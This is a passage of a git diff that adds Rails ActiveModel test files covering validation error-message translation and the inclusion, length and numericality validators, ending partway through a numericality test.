+    @person.errors.add("name", "empty")
+    assert_equal ["Field Name empty"], @person.errors.full_messages
+  end
+
+  # ActiveModel::Validations
+
+  # A set of common cases for ActiveModel::Validations message generation that
+  # are used to generate tests to keep things DRY
+  #
+  COMMON_CASES = [
+    # [ case,                              validation_options,            generate_message_options]
+    [ "given no options",                  {},                            {}],
+    [ "given custom message",              { message: "custom" },         { message: "custom" }],
+    [ "given if condition",                { if:                          lambda { true } },  {}],
+    [ "given unless condition",            { unless:                      lambda { false } }, {}],
+    [ "given option that is not reserved", { format: "jpg" },             { format: "jpg" }]
+  ]
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_confirmation_of on generated message #{name}" do
+      Person.validates_confirmation_of :title, validation_options
+      @person.title_confirmation = "foo"
+      call = [:title_confirmation, :confirmation, generate_message_options.merge(attribute: "Title")]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_acceptance_of on generated message #{name}" do
+      Person.validates_acceptance_of :title, validation_options.merge(allow_nil: false)
+      call = [:title, :accepted, generate_message_options]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_presence_of on generated message #{name}" do
+      Person.validates_presence_of :title, validation_options
+      call = [:title, :blank, generate_message_options]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_length_of for :within on generated message when too short #{name}" do
+      Person.validates_length_of :title, validation_options.merge(within: 3..5)
+      call = [:title, :too_short, generate_message_options.merge(count: 3)]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_length_of for :too_long generated message #{name}" do
+      Person.validates_length_of :title, validation_options.merge(within: 3..5)
+      @person.title = "this title is too long"
+      call = [:title, :too_long, generate_message_options.merge(count: 5)]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_length_of for :is on generated message #{name}" do
+      Person.validates_length_of :title, validation_options.merge(is: 5)
+      call = [:title, :wrong_length, generate_message_options.merge(count: 5)]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_format_of on generated message #{name}" do
+      Person.validates_format_of :title, validation_options.merge(with: /\A[1-9][0-9]*\z/)
+      @person.title = "72x"
+      call = [:title, :invalid, generate_message_options.merge(value: "72x")]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_inclusion_of on generated message #{name}" do
+      Person.validates_inclusion_of :title, validation_options.merge(in: %w(a b c))
+      @person.title = "z"
+      call = [:title, :inclusion, generate_message_options.merge(value: "z")]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_inclusion_of using :within on generated message #{name}" do
+      Person.validates_inclusion_of :title, validation_options.merge(within: %w(a b c))
+      @person.title = "z"
+      call = [:title, :inclusion, generate_message_options.merge(value: "z")]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_exclusion_of generated message #{name}" do
+      Person.validates_exclusion_of :title, validation_options.merge(in: %w(a b c))
+      @person.title = "a"
+      call = [:title, :exclusion, generate_message_options.merge(value: "a")]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_exclusion_of using :within generated message #{name}" do
+      Person.validates_exclusion_of :title, validation_options.merge(within: %w(a b c))
+      @person.title = "a"
+      call = [:title, :exclusion, generate_message_options.merge(value: "a")]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_numericality_of generated message #{name}" do
+      Person.validates_numericality_of :title, validation_options
+      @person.title = "a"
+      call = [:title, :not_a_number, generate_message_options.merge(value: "a")]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_numericality_of for :only_integer on generated message #{name}" do
+      Person.validates_numericality_of :title, validation_options.merge(only_integer: true)
+      @person.title = "0.0"
+      call = [:title, :not_an_integer, generate_message_options.merge(value: "0.0")]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_numericality_of for :odd on generated message #{name}" do
+      Person.validates_numericality_of :title, validation_options.merge(only_integer: true, odd: true)
+      @person.title = 0
+      call = [:title, :odd, generate_message_options.merge(value: 0)]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  COMMON_CASES.each do |name, validation_options, generate_message_options|
+    test "validates_numericality_of for :less_than on generated message #{name}" do
+      Person.validates_numericality_of :title, validation_options.merge(only_integer: true, less_than: 0)
+      @person.title = 1
+      call = [:title, :less_than, generate_message_options.merge(value: 1, count: 0)]
+      assert_called_with(@person.errors, :generate_message, call) do
+        @person.valid?
+      end
+    end
+  end
+
+  # To make things DRY this macro is created to define 3 tests for every validation case.
+  def self.set_expectations_for_validation(validation, error_type, &block_that_sets_validation)
+    if error_type == :confirmation
+      attribute = :title_confirmation
+    else
+      attribute = :title
+    end
+
+    test "#{validation} finds custom model key translation when #{error_type}" do
+      I18n.backend.store_translations "en", activemodel: { errors: { models: { person: { attributes: { attribute => { error_type => "custom message" } } } } } }
+      I18n.backend.store_translations "en", errors: { messages: { error_type => "global message" } }
+
+      yield(@person, {})
+      @person.valid?
+      assert_equal ["custom message"], @person.errors[attribute]
+    end
+
+    test "#{validation} finds custom model key translation with interpolation when #{error_type}" do
+      I18n.backend.store_translations "en", activemodel: { errors: { models: { person: { attributes: { attribute => { error_type => "custom message with %{extra}" } } } } } }
+      I18n.backend.store_translations "en", errors: { messages: { error_type => "global message" } }
+
+      yield(@person, { extra: "extra information" })
+      @person.valid?
+      assert_equal ["custom message with extra information"], @person.errors[attribute]
+    end
+
+    test "#{validation} finds global default key translation when #{error_type}" do
+      I18n.backend.store_translations "en", errors: { messages: { error_type => "global message" } }
+
+      yield(@person, {})
+      @person.valid?
+      assert_equal ["global message"], @person.errors[attribute]
+    end
+  end
+
+  set_expectations_for_validation "validates_confirmation_of", :confirmation do |person, options_to_merge|
+    Person.validates_confirmation_of :title, options_to_merge
+    person.title_confirmation = "foo"
+  end
+
+  set_expectations_for_validation "validates_acceptance_of", :accepted do |person, options_to_merge|
+    Person.validates_acceptance_of :title, options_to_merge.merge(allow_nil: false)
+  end
+
+  set_expectations_for_validation "validates_presence_of", :blank do |person, options_to_merge|
+    Person.validates_presence_of :title, options_to_merge
+  end
+
+  set_expectations_for_validation "validates_length_of", :too_short do |person, options_to_merge|
+    Person.validates_length_of :title, options_to_merge.merge(within: 3..5)
+  end
+
+  set_expectations_for_validation "validates_length_of", :too_long do |person, options_to_merge|
+    Person.validates_length_of :title, options_to_merge.merge(within: 3..5)
+    person.title = "too long"
+  end
+
+  set_expectations_for_validation "validates_length_of", :wrong_length do |person, options_to_merge|
+    Person.validates_length_of :title, options_to_merge.merge(is: 5)
+  end
+
+  set_expectations_for_validation "validates_format_of", :invalid do |person, options_to_merge|
+    Person.validates_format_of :title, options_to_merge.merge(with: /\A[1-9][0-9]*\z/)
+  end
+
+  set_expectations_for_validation "validates_inclusion_of", :inclusion do |person, options_to_merge|
+    Person.validates_inclusion_of :title, options_to_merge.merge(in: %w(a b c))
+  end
+
+  set_expectations_for_validation "validates_exclusion_of", :exclusion do |person, options_to_merge|
+    Person.validates_exclusion_of :title, options_to_merge.merge(in: %w(a b c))
+    person.title = "a"
+  end
+
+  set_expectations_for_validation "validates_numericality_of", :not_a_number do |person, options_to_merge|
+    Person.validates_numericality_of :title, options_to_merge
+    person.title = "a"
+  end
+
+  set_expectations_for_validation "validates_numericality_of", :not_an_integer do |person, options_to_merge|
+    Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true)
+    person.title = "1.0"
+  end
+
+  set_expectations_for_validation "validates_numericality_of", :odd do |person, options_to_merge|
+    Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true, odd: true)
+    person.title = 0
+  end
+
+  set_expectations_for_validation "validates_numericality_of", :less_than do |person, options_to_merge|
+    Person.validates_numericality_of :title, options_to_merge.merge(only_integer: true, less_than: 0)
+    person.title = 1
+  end
+
+  def test_validations_with_message_symbol_must_translate
+    I18n.backend.store_translations "en", errors: { messages: { custom_error: "I am a custom error" } }
+    Person.validates_presence_of :title, message: :custom_error
+    @person.title = nil
+    @person.valid?
+    assert_equal ["I am a custom error"], @person.errors[:title]
+  end
+
+  def test_validates_with_message_symbol_must_translate_per_attribute
+    I18n.backend.store_translations "en", activemodel: { errors: { models: { person: { attributes: { title: { custom_error: "I am a custom error" } } } } } }
+    Person.validates_presence_of :title, message: :custom_error
+    @person.title = nil
+    @person.valid?
+    assert_equal ["I am a custom error"], @person.errors[:title]
+  end
+
+  def test_validates_with_message_symbol_must_translate_per_model
+    I18n.backend.store_translations "en", activemodel: { errors: { models: { person: { custom_error: "I am a custom error" } } } }
+    Person.validates_presence_of :title, message: :custom_error
+    @person.title = nil
+    @person.valid?
+    assert_equal ["I am a custom error"], @person.errors[:title]
+  end
+
+  def test_validates_with_message_string
+    Person.validates_presence_of :title, message: "I am a custom error"
+    @person.title = nil
+    @person.valid?
+    assert_equal ["I am a custom error"], @person.errors[:title]
+  end
+end
diff --git a/activemodel/test/cases/validations/inclusion_validation_test.rb b/activemodel/test/cases/validations/inclusion_validation_test.rb
new file mode 100644
index 0000000000..94df0649a9
--- /dev/null
+++ b/activemodel/test/cases/validations/inclusion_validation_test.rb
@@ -0,0 +1,161 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "active_support/all"
+
+require "models/topic"
+require "models/person"
+
+class InclusionValidationTest < ActiveModel::TestCase
+  def teardown
+    Topic.clear_validators!
+  end
+
+  def test_validates_inclusion_of_range
+    Topic.validates_inclusion_of(:title, in: "aaa".."bbb")
+    assert Topic.new("title" => "bbc", "content" => "abc").invalid?
+    assert Topic.new("title" => "aa", "content" => "abc").invalid?
+    assert Topic.new("title" => "aaab", "content" => "abc").invalid?
+    assert Topic.new("title" => "aaa", "content" => "abc").valid?
+    assert Topic.new("title" => "abc", "content" => "abc").valid?
+    assert Topic.new("title" => "bbb", "content" => "abc").valid?
+  end
+
+  def test_validates_inclusion_of_time_range
+    range_begin = 1.year.ago
+    range_end = Time.now
+    Topic.validates_inclusion_of(:created_at, in: range_begin..range_end)
+    assert Topic.new(title: "aaa", created_at: 2.years.ago).invalid?
+    assert Topic.new(title: "aaa", created_at: 3.months.ago).valid?
+    assert Topic.new(title: "aaa", created_at: 37.weeks.from_now).invalid?
+    assert Topic.new(title: "aaa", created_at: range_begin).valid?
+    assert Topic.new(title: "aaa", created_at: range_end).valid?
+  end
+
+  def test_validates_inclusion_of_date_range
+    range_begin = 1.year.until(Date.today)
+    range_end = Date.today
+    Topic.validates_inclusion_of(:created_at, in: range_begin..range_end)
+    assert Topic.new(title: "aaa", created_at: 2.years.until(Date.today)).invalid?
+    assert Topic.new(title: "aaa", created_at: 3.months.until(Date.today)).valid?
+    assert Topic.new(title: "aaa", created_at: 37.weeks.since(Date.today)).invalid?
+    assert Topic.new(title: "aaa", created_at: 1.year.until(Date.today)).valid?
+    assert Topic.new(title: "aaa", created_at: Date.today).valid?
+    assert Topic.new(title: "aaa", created_at: range_begin).valid?
+    assert Topic.new(title: "aaa", created_at: range_end).valid?
+  end
+
+  def test_validates_inclusion_of_date_time_range
+    range_begin = 1.year.until(DateTime.current)
+    range_end = DateTime.current
+    Topic.validates_inclusion_of(:created_at, in: range_begin..range_end)
+    assert Topic.new(title: "aaa", created_at: 2.years.until(DateTime.current)).invalid?
+    assert Topic.new(title: "aaa", created_at: 3.months.until(DateTime.current)).valid?
+    assert Topic.new(title: "aaa", created_at: 37.weeks.since(DateTime.current)).invalid?
+    assert Topic.new(title: "aaa", created_at: range_begin).valid?
+    assert Topic.new(title: "aaa", created_at: range_end).valid?
+  end
+
+  def test_validates_inclusion_of
+    Topic.validates_inclusion_of(:title, in: %w( a b c d e f g ))
+
+    assert Topic.new("title" => "a!", "content" => "abc").invalid?
+    assert Topic.new("title" => "a b", "content" => "abc").invalid?
+    assert Topic.new("title" => nil, "content" => "def").invalid?
+
+    t = Topic.new("title" => "a", "content" => "I know you are but what am I?")
+    assert t.valid?
+    t.title = "uhoh"
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["is not included in the list"], t.errors[:title]
+
+    assert_raise(ArgumentError) { Topic.validates_inclusion_of(:title, in: nil) }
+    assert_raise(ArgumentError) { Topic.validates_inclusion_of(:title, in: 0) }
+
+    assert_nothing_raised { Topic.validates_inclusion_of(:title, in: "hi!") }
+    assert_nothing_raised { Topic.validates_inclusion_of(:title, in: {}) }
+    assert_nothing_raised { Topic.validates_inclusion_of(:title, in: []) }
+  end
+
+  def test_validates_inclusion_of_with_allow_nil
+    Topic.validates_inclusion_of(:title, in: %w( a b c d e f g ), allow_nil: true)
+
+    assert Topic.new("title" => "a!", "content" => "abc").invalid?
+    assert Topic.new("title" => "",   "content" => "abc").invalid?
+    assert Topic.new("title" => nil,  "content" => "abc").valid?
+  end
+
+  def test_validates_inclusion_of_with_formatted_message
+    Topic.validates_inclusion_of(:title, in: %w( a b c d e f g ), message: "option %{value} is not in the list")
+
+    assert Topic.new("title" => "a", "content" => "abc").valid?
+
+    t = Topic.new("title" => "uhoh", "content" => "abc")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["option uhoh is not in the list"], t.errors[:title]
+  end
+
+  def test_validates_inclusion_of_with_within_option
+    Topic.validates_inclusion_of(:title, within: %w( a b c d e f g ))
+
+    assert Topic.new("title" => "a", "content" => "abc").valid?
+
+    t = Topic.new("title" => "uhoh", "content" => "abc")
+    assert t.invalid?
+    assert t.errors[:title].any?
+  end
+
+  def test_validates_inclusion_of_for_ruby_class
+    Person.validates_inclusion_of :karma, in: %w( abe monkey )
+
+    p = Person.new
+    p.karma = "Lifo"
+    assert p.invalid?
+
+    assert_equal ["is not included in the list"], p.errors[:karma]
+
+    p.karma = "monkey"
+    assert p.valid?
+  ensure
+    Person.clear_validators!
+  end
+
+  def test_validates_inclusion_of_with_lambda
+    Topic.validates_inclusion_of :title, in: lambda { |topic| topic.author_name == "sikachu" ? %w( monkey elephant ) : %w( abe wasabi ) }
+
+    t = Topic.new
+    t.title = "wasabi"
+    t.author_name = "sikachu"
+    assert t.invalid?
+
+    t.title = "elephant"
+    assert t.valid?
+  end
+
+  def test_validates_inclusion_of_with_symbol
+    Person.validates_inclusion_of :karma, in: :available_karmas
+
+    p = Person.new
+    p.karma = "Lifo"
+
+    def p.available_karmas
+      %w()
+    end
+
+    assert p.invalid?
+    assert_equal ["is not included in the list"], p.errors[:karma]
+
+    p = Person.new
+    p.karma = "Lifo"
+
+    def p.available_karmas
+      %w(Lifo)
+    end
+
+    assert p.valid?
+  ensure
+    Person.clear_validators!
+  end
+end
diff --git a/activemodel/test/cases/validations/length_validation_test.rb b/activemodel/test/cases/validations/length_validation_test.rb
new file mode 100644
index 0000000000..a0d8e058f5
--- /dev/null
+++ b/activemodel/test/cases/validations/length_validation_test.rb
@@ -0,0 +1,413 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+require "models/topic"
+require "models/person"
+
+class LengthValidationTest < ActiveModel::TestCase
+  def teardown
+    Topic.clear_validators!
+  end
+
+  def test_validates_length_of_with_allow_nil
+    Topic.validates_length_of(:title, is: 5, allow_nil: true)
+
+    assert Topic.new("title" => "ab").invalid?
+    assert Topic.new("title" => "").invalid?
+    assert Topic.new("title" => nil).valid?
+    assert Topic.new("title" => "abcde").valid?
+  end
+
+  def test_validates_length_of_with_allow_blank
+    Topic.validates_length_of(:title, is: 5, allow_blank: true)
+
+    assert Topic.new("title" => "ab").invalid?
+    assert Topic.new("title" => "").valid?
+    assert Topic.new("title" => nil).valid?
+    assert Topic.new("title" => "abcde").valid?
+  end
+
+  def test_validates_length_of_using_minimum
+    Topic.validates_length_of :title, minimum: 5
+
+    t = Topic.new("title" => "valid", "content" => "whatever")
+    assert t.valid?
+
+    t.title = "not"
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["is too short (minimum is 5 characters)"], t.errors[:title]
+
+    t.title = ""
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["is too short (minimum is 5 characters)"], t.errors[:title]
+
+    t.title = nil
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["is too short (minimum is 5 characters)"], t.errors["title"]
+  end
+
+  def test_validates_length_of_using_maximum_should_allow_nil
+    Topic.validates_length_of :title, maximum: 10
+    t = Topic.new
+    assert t.valid?
+  end
+
+  def test_optionally_validates_length_of_using_minimum
+    Topic.validates_length_of :title, minimum: 5, allow_nil: true
+
+    t = Topic.new("title" => "valid", "content" => "whatever")
+    assert t.valid?
+
+    t.title = nil
+    assert t.valid?
+  end
+
+  def test_validates_length_of_using_maximum
+    Topic.validates_length_of :title, maximum: 5
+
+    t = Topic.new("title" => "valid", "content" => "whatever")
+    assert t.valid?
+
+    t.title = "notvalid"
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["is too long (maximum is 5 characters)"], t.errors[:title]
+
+    t.title = ""
+    assert t.valid?
+  end
+
+  def test_optionally_validates_length_of_using_maximum
+    Topic.validates_length_of :title, maximum: 5, allow_nil: true
+
+    t = Topic.new("title" => "valid", "content" => "whatever")
+    assert t.valid?
+
+    t.title = nil
+    assert t.valid?
+  end
+
+  def test_validates_length_of_using_within
+    Topic.validates_length_of(:title, :content, within: 3..5)
+
+    t = Topic.new("title" => "a!", "content" => "I'm ooooooooh so very long")
+    assert t.invalid?
+    assert_equal ["is too short (minimum is 3 characters)"], t.errors[:title]
+    assert_equal ["is too long (maximum is 5 characters)"], t.errors[:content]
+
+    t.title = nil
+    t.content = nil
+    assert t.invalid?
+    assert_equal ["is too short (minimum is 3 characters)"], t.errors[:title]
+    assert_equal ["is too short (minimum is 3 characters)"], t.errors[:content]
+
+    t.title = "abe"
+    t.content = "mad"
+    assert t.valid?
+  end
+
+  def test_validates_length_of_using_within_with_exclusive_range
+    Topic.validates_length_of(:title, within: 4...10)
+
+    t = Topic.new("title" => "9 chars!!")
+    assert t.valid?
+
+    t.title = "Now I'm 10"
+    assert t.invalid?
+    assert_equal ["is too long (maximum is 9 characters)"], t.errors[:title]
+
+    t.title = "Four"
+    assert t.valid?
+  end
+
+  def test_optionally_validates_length_of_using_within
+    Topic.validates_length_of :title, :content, within: 3..5, allow_nil: true
+
+    t = Topic.new("title" => "abc", "content" => "abcd")
+    assert t.valid?
+
+    t.title = nil
+    assert t.valid?
+  end
+
+  def test_validates_length_of_using_is
+    Topic.validates_length_of :title, is: 5
+
+    t = Topic.new("title" => "valid", "content" => "whatever")
+    assert t.valid?
+
+    t.title = "notvalid"
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["is the wrong length (should be 5 characters)"], t.errors[:title]
+
+    t.title = ""
+    assert t.invalid?
+
+    t.title = nil
+    assert t.invalid?
+  end
+
+  def test_optionally_validates_length_of_using_is
+    Topic.validates_length_of :title, is: 5, allow_nil: true
+
+    t = Topic.new("title" => "valid", "content" => "whatever")
+    assert t.valid?
+
+    t.title = nil
+    assert t.valid?
+  end
+
+  def test_validates_length_of_using_bignum
+    bigmin = 2**30
+    bigmax = 2**32
+    bigrange = bigmin...bigmax
+    assert_nothing_raised do
+      Topic.validates_length_of :title, is: bigmin + 5
+      Topic.validates_length_of :title, within: bigrange
+      Topic.validates_length_of :title, in: bigrange
+      Topic.validates_length_of :title, minimum: bigmin
+      Topic.validates_length_of :title, maximum: bigmax
+    end
+  end
+
+  def test_validates_length_of_nasty_params
+    assert_raise(ArgumentError) { Topic.validates_length_of(:title, is: -6) }
+    assert_raise(ArgumentError) { Topic.validates_length_of(:title, within: 6) }
+    assert_raise(ArgumentError) { Topic.validates_length_of(:title, minimum: "a") }
+    assert_raise(ArgumentError) { Topic.validates_length_of(:title, maximum: "a") }
+    assert_raise(ArgumentError) { Topic.validates_length_of(:title, within: "a") }
+    assert_raise(ArgumentError) { Topic.validates_length_of(:title, is: "a") }
+  end
+
+  def test_validates_length_of_custom_errors_for_minimum_with_message
+    Topic.validates_length_of(:title, minimum: 5, message: "boo %{count}")
+    t = Topic.new("title" => "uhoh", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["boo 5"], t.errors[:title]
+  end
+
+  def test_validates_length_of_custom_errors_for_minimum_with_too_short
+    Topic.validates_length_of(:title, minimum: 5, too_short: "hoo %{count}")
+    t = Topic.new("title" => "uhoh", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["hoo 5"], t.errors[:title]
+  end
+
+  def test_validates_length_of_custom_errors_for_maximum_with_message
+    Topic.validates_length_of(:title, maximum: 5, message: "boo %{count}")
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["boo 5"], t.errors[:title]
+  end
+
+  def test_validates_length_of_custom_errors_for_in
+    Topic.validates_length_of(:title, in: 10..20, message: "hoo %{count}")
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["hoo 10"], t.errors["title"]
+
+    t = Topic.new("title" => "uhohuhohuhohuhohuhohuhohuhohuhoh", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["hoo 20"], t.errors["title"]
+  end
+
+  def test_validates_length_of_custom_errors_for_maximum_with_too_long
+    Topic.validates_length_of(:title, maximum: 5, too_long: "hoo %{count}")
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["hoo 5"], t.errors["title"]
+  end
+
+  def test_validates_length_of_custom_errors_for_both_too_short_and_too_long
+    Topic.validates_length_of :title, minimum: 3, maximum: 5, too_short: "too short", too_long: "too long"
+
+    t = Topic.new(title: "a")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["too short"], t.errors["title"]
+
+    t = Topic.new(title: "aaaaaa")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["too long"], t.errors["title"]
+  end
+
+  def test_validates_length_of_custom_errors_for_is_with_message
+    Topic.validates_length_of(:title, is: 5, message: "boo %{count}")
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["boo 5"], t.errors["title"]
+  end
+
+  def test_validates_length_of_custom_errors_for_is_with_wrong_length
+    Topic.validates_length_of(:title, is: 5, wrong_length: "hoo %{count}")
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever")
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["hoo 5"], t.errors["title"]
+  end
+
+  def test_validates_length_of_using_minimum_utf8
+    Topic.validates_length_of :title, minimum: 5
+
+    t = Topic.new("title" => "一二三四五", "content" => "whatever")
+    assert t.valid?
+
+    t.title = "一二三四"
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["is too short (minimum is 5 characters)"], t.errors["title"]
+  end
+
+  def test_validates_length_of_using_maximum_utf8
+    Topic.validates_length_of :title, maximum: 5
+
+    t = Topic.new("title" => "一二三四五", "content" => "whatever")
+    assert t.valid?
+
+    t.title = "一二34五六"
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["is too long (maximum is 5 characters)"], t.errors["title"]
+  end
+
+  def test_validates_length_of_using_within_utf8
+    Topic.validates_length_of(:title, :content, within: 3..5)
+
+    t = Topic.new("title" => "一二", "content" => "12三四五六七")
+    assert t.invalid?
+    assert_equal ["is too short (minimum is 3 characters)"], t.errors[:title]
+    assert_equal ["is too long (maximum is 5 characters)"], t.errors[:content]
+    t.title = "一二三"
+    t.content = "12三"
+    assert t.valid?
+  end
+
+  def test_optionally_validates_length_of_using_within_utf8
+    Topic.validates_length_of :title, within: 3..5, allow_nil: true
+
+    t = Topic.new(title: "一二三四五")
+    assert t.valid?, t.errors.inspect
+
+    t = Topic.new(title: "一二三")
+    assert t.valid?, t.errors.inspect
+
+    t.title = nil
+    assert t.valid?, t.errors.inspect
+  end
+
+  def test_validates_length_of_using_is_utf8
+    Topic.validates_length_of :title, is: 5
+
+    t = Topic.new("title" => "一二345", "content" => "whatever")
+    assert t.valid?
+
+    t.title = "一二345六"
+    assert t.invalid?
+    assert t.errors[:title].any?
+    assert_equal ["is the wrong length (should be 5 characters)"], t.errors["title"]
+  end
+
+  def test_validates_length_of_for_integer
+    Topic.validates_length_of(:approved, is: 4)
+
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever", approved: 1)
+    assert t.invalid?
+    assert t.errors[:approved].any?
+
+    t = Topic.new("title" => "uhohuhoh", "content" => "whatever", approved: 1234)
+    assert t.valid?
+  end
+
+  def test_validates_length_of_for_ruby_class
+    Person.validates_length_of :karma, minimum: 5
+
+    p = Person.new
+    p.karma = "Pix"
+    assert p.invalid?
+
+    assert_equal ["is too short (minimum is 5 characters)"], p.errors[:karma]
+
+    p.karma = "The Smiths"
+    assert p.valid?
+  ensure
+    Person.clear_validators!
+  end
+
+  def test_validates_length_of_for_infinite_maxima
+    Topic.validates_length_of(:title, within: 5..Float::INFINITY)
+
+    t = Topic.new("title" => "1234")
+    assert t.invalid?
+    assert t.errors[:title].any?
+
+    t.title = "12345"
+    assert t.valid?
+
+    Topic.validates_length_of(:author_name, maximum: Float::INFINITY)
+
+    assert t.valid?
+
+    t.author_name = "A very long author name that should still be valid." * 100
+    assert t.valid?
+  end
+
+  def test_validates_length_of_using_maximum_should_not_allow_nil_when_nil_not_allowed
+    Topic.validates_length_of :title, maximum: 10, allow_nil: false
+    t = Topic.new
+    assert t.invalid?
+  end
+
+  def test_validates_length_of_using_maximum_should_not_allow_nil_and_empty_string_when_blank_not_allowed
+    Topic.validates_length_of :title, maximum: 10, allow_blank: false
+    t = Topic.new
+    assert t.invalid?
+
+    t.title = ""
+    assert t.invalid?
+  end
+
+  def test_validates_length_of_using_both_minimum_and_maximum_should_not_allow_nil
+    Topic.validates_length_of :title, minimum: 5, maximum: 10
+    t = Topic.new
+    assert t.invalid?
+  end
+
+  def test_validates_length_of_using_minimum_0_should_not_allow_nil
+    Topic.validates_length_of :title, minimum: 0
+    t = Topic.new
+    assert t.invalid?
+
+    t.title = ""
+    assert t.valid?
+  end
+
+  def test_validates_length_of_using_is_0_should_not_allow_nil
+    Topic.validates_length_of :title, is: 0
+    t = Topic.new
+    assert t.invalid?
+
+    t.title = ""
+    assert t.valid?
+  end
+
+  def test_validates_with_diff_in_option
+    Topic.validates_length_of(:title, is: 5)
+    Topic.validates_length_of(:title, is: 5, if: Proc.new { false })
+
+    assert Topic.new("title" => "david").valid?
+    assert Topic.new("title" => "david2").invalid?
+  end
+end
diff --git a/activemodel/test/cases/validations/numericality_validation_test.rb b/activemodel/test/cases/validations/numericality_validation_test.rb
new file mode 100644
index 0000000000..001815e28f
--- /dev/null
+++ b/activemodel/test/cases/validations/numericality_validation_test.rb
@@ -0,0 +1,305 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+require "models/topic"
+require "models/person"
+
+require "bigdecimal"
+require "active_support/core_ext/big_decimal"
+
+class NumericalityValidationTest < ActiveModel::TestCase
+  def teardown
+    Topic.clear_validators!
+  end
+
+  NIL = [nil]
+  BLANK = ["", " ", " \t \r \n"]
+  BIGDECIMAL_STRINGS = %w(12345678901234567890.1234567890) # 30 significant digits
+  FLOAT_STRINGS = %w(0.0 +0.0 -0.0 10.0 10.5 -10.5 -0.0001 -090.1 90.1e1 -90.1e5 -90.1e-5 90e-5)
+  INTEGER_STRINGS = %w(0 +0 -0 10 +10 -10 0090 -090)
+  FLOATS = [0.0, 10.0, 10.5, -10.5, -0.0001] + FLOAT_STRINGS
+  INTEGERS = [0, 10, -10] + INTEGER_STRINGS
+  BIGDECIMAL = BIGDECIMAL_STRINGS.collect! { |bd| BigDecimal.new(bd) }
+  JUNK = ["not a number", "42 not a number", "0xdeadbeef", "0xinvalidhex", "0Xdeadbeef", "00-1", "--3", "+-3", "+3-1", "-+019.0", "12.12.13.12", "123\nnot a number"]
+  INFINITY = [1.0 / 0.0]
+
+  def test_default_validates_numericality_of
+    Topic.validates_numericality_of :approved
+    invalid!(NIL + BLANK + JUNK)
+    valid!(FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+  end
+
+  def test_validates_numericality_of_with_nil_allowed
+    Topic.validates_numericality_of :approved, allow_nil: true
+
+    invalid!(JUNK + BLANK)
+    valid!(NIL + FLOATS + INTEGERS + BIGDECIMAL + INFINITY)
+  end
+
+  def test_validates_numericality_of_with_blank_allowed
+    Topic.validates_numericality_of :approved, allow_blank: true
+
